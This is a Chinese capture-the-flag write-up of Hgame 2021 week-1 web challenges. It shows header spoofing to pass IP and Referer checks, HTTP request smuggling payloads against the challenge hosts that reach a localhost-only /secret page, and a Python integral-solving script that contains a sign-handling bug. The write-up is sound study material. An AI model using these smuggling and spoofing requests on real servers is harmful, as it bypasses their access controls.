前言
第一次打Hgame,题目都很有意思,学到了很多东西。本来以为第一周的题目是很简单的,结果发现自己太菜了,有3道题(其实算是2道题)都是自己的知识盲区,官方WP也出来了,自己进行一下学习。
不过有一说一。。为什么我会感觉第二周的web题比第一周的要简单呢。。。幸好第二周只有一道XSS是前端题,就GG一道题,其他的后端题都挺简单的。
从第一周也能看出来,自己对于前端和HTTP协议这样的还是不太会啊,要慢慢学起来。
Hitchhiking_in_the_Galaxy
主要考察HTTP协议,第一周主要的也就是考察HTTP和前端,但是这些都是自己不太会的东西。。。
进入HitchhikerGuide.php,提示405 Method Not Allowed。因此改成POST。
然后提示 只有使用"无限非概率引擎"(Infinite Improbability Drive)才能访问这里~。
改一下UA头:User-Agent: Infinite Improbability Drive
然后是这个:
你知道吗?<a href="https://github.com/wuhan005">茄子</a>特别要求:你得从他的<a href="https://cardinal.ink/">Cardinal</a>过来
那就改一下Referer:Referer:https://cardinal.ink/
最后提示本地访问才能得到flag,那就用xff头:x-forwarded-for:127.0.0.1
得到flag。都是比较常见的姿势。
watermelon
大西瓜的游戏,正常肯定是审JS代码,找到最后的判断成功的条件,然后自己手动成功或者直接读到flag。但是这题我把js代码找了个遍还是找不到最后判断2000分的JS代码在哪。
可以参考一波知乎:小游戏《合成大西瓜》有什么诀窍吗?
不太懂前端,还真不知道JS代码可以在这里找:
关键代码在project.js里面:
把后面那些base64解码就可以得到flag。学到了学到了,不会前端太惨了。。。
宝藏走私者
考察的知识点是HTTP走私,又是知识盲区,太妙了学到了新东西。
参考文章就是给的hint,写的超级详细,学到了很多:协议层的攻击——HTTP请求走私
把那篇文章给看完之后就可以有一定的了解,可以想到用CL-TE攻击或者是利用文章中提到的第一个补丁的姿势进行攻击:
但是我当时都没有做成功,就很迷。WP出来后我跟着大师傅们的WP复现了一波,请求是一摸一样的,但是还是成功不了,贼迷。最终才发现,bp的自动update content-length是需要关掉的:
关掉后再进行复现,就可以成功了。
首先是content-length后面空一个格子的攻击。具体原理文章中也讲的很清楚了,就是ATS服务器接收到的请求中存在请求字段与:之间存在空格的字段时,并没有返回400或者进行修正,而是直接给了后端服务器。后端服务器例如nginx遇到这样的请求,会忽略content-length,导致后端服务器看到的请求实际上是这样:
GET / HTTP/1.1
Host: thief.0727.site
GET /secret HTTP/1.1
Host:thief.0727.site
client-ip:127.0.0.1
foo:
会被当作2个请求。第一个请求因为结尾有\r\n,所以是完整的一个。第二个请求结尾没有\r\n,所以后端服务器认为是不完整的,这时候会响应第一个请求,然后等后续的数据传递完毕,再响应第二个。
这时候我们再请求一次,就拼接成了这样:
GET /secret HTTP/1.1
Host:thief.0727.site
client-ip:127.0.0.1
foo:GET / HTTP/1.1
Host: thief.0727.site
是一次成功的请求,HTTP走私成功。
CL-TE攻击我也很迷。。。跟着大师傅们还有官方的WP也还是出不来。。。
走私者的愤怒
为了防止顺风车加的一题。还是尝试content-length和:之间有个空格的攻击方式,但是会报400,大师傅们说是因为两个Host的问题。这题它还会自己加上client-ip:
GET / HTTP/1.1
Host: police.liki.link
Content-Length : 71
GET /secret HTTP/1.1
Client-ip:127.0.0.1
Host: police.liki.link
a:
可能类似这样:
GET / HTTP/1.1
Host: police.liki.link
Content-Length : 71
GET /secret HTTP/1.1
Client-ip:127.0.0.1
Host: police.liki.link
a:GET / HTTP/1.1
Host: police.liki.link
client-ip:xxxxxx
下面的client-ip会覆盖我们构造的,而且有两个host会报400错误。大师傅们把多的内容放在了我们构造的请求的请求体中:
GET / HTTP/1.1
Host: police.liki.link
Content-Length : 94
GET /secret HTTP/1.1
Client-ip:127.0.0.1
Host: police.liki.link
Content-length:100
aaa
这样第二次请求的内容拼接之后都是在GET /secret HTTP/1.1的请求体中,走私成功:
不过这两题的CL-TE在我这里都试不成功,甚至相同的payload复制下来就是打不通,可能是我本地有什么问题,没办法了。
智商检测鸡
在fuckmath.js里面可以看到有用的js代码,判断状态,得flag,得到问题和提交答案得,里面api都写得很清楚。
getquestion得到的大致是这样:
<math>
<mrow>
<msubsup>
<mo>∫</mo>
<mrow>
<mo>-</mo>
<mn>92</mn>
</mrow>
<mrow>
<mn>31</mn>
</mrow>
</msubsup>
<mo>(</mo>
<mn>12</mn>
<mi>x</mi>
<mo>+</mo>
<mn>17</mn>
<mo>)</mo>
<mtext>
<mi>d</mi>
</mtext>
<mi>x</mi>
<mtd/>
</mrow>
</math>
考虑到积分形式都是ax+b,公式都是一样的,其实可以手算(逃)。当然写脚本也非常简单,读一下积分上下限还有a和b,然后套积分的公式算就完事了,我当时就是这么写的,但是我写WP的时候发现脚本已经删了。。。
看了一下WP,计算积分用的是python的sympy库,也学习一下,重写一个脚本。
# @Author:feng
import requests
from sympy import *
from lxml import etree
import json
url="http://r4u.top:5000/"
session=requests.session()
count=0
while count<100:
question=session.get(url=url+"api/getQuestion")
question=json.loads(question.text)['question']
question=etree.HTML(question)
xia_fuhao=question.xpath('//math/mrow/msubsup/mrow[1]/mo/text()')
xiaxian=int(question.xpath('//math/mrow/msubsup/mrow[1]/mn/text()')[0])
if len(xia_fuhao)!=0:
xiaxian=-xiaxian
shang_fuhao=question.xpath('//math/mrow/msubsup/mrow[2]/mo/text()')
shangxian=int(question.xpath('//math/mrow/msubsup/mrow[2]/mn/text()')[0])
if len(shang_fuhao)!=0:
shangxian=-shang_fuhao
a=int(question.xpath('//math/mrow/mn[1]/text()')[0])
b=int(question.xpath('//math/mrow/mn[2]/text()')[0])
x=symbols('x')
x=float(integrate(a*x+b,(x,xiaxian,shangxian)))
headers = {
"Content-Type": "application/json;charset=UTF-8"
}
data={
'answer':x
}
r=session.post(url=url+"api/verify",headers=headers,json=data)
#print(r.text)
count+=1
r=session.get(url=url+"api/getFlag")
print(r.text)
也是参考了这个大师傅的脚本:
hgame2021 week1 writeup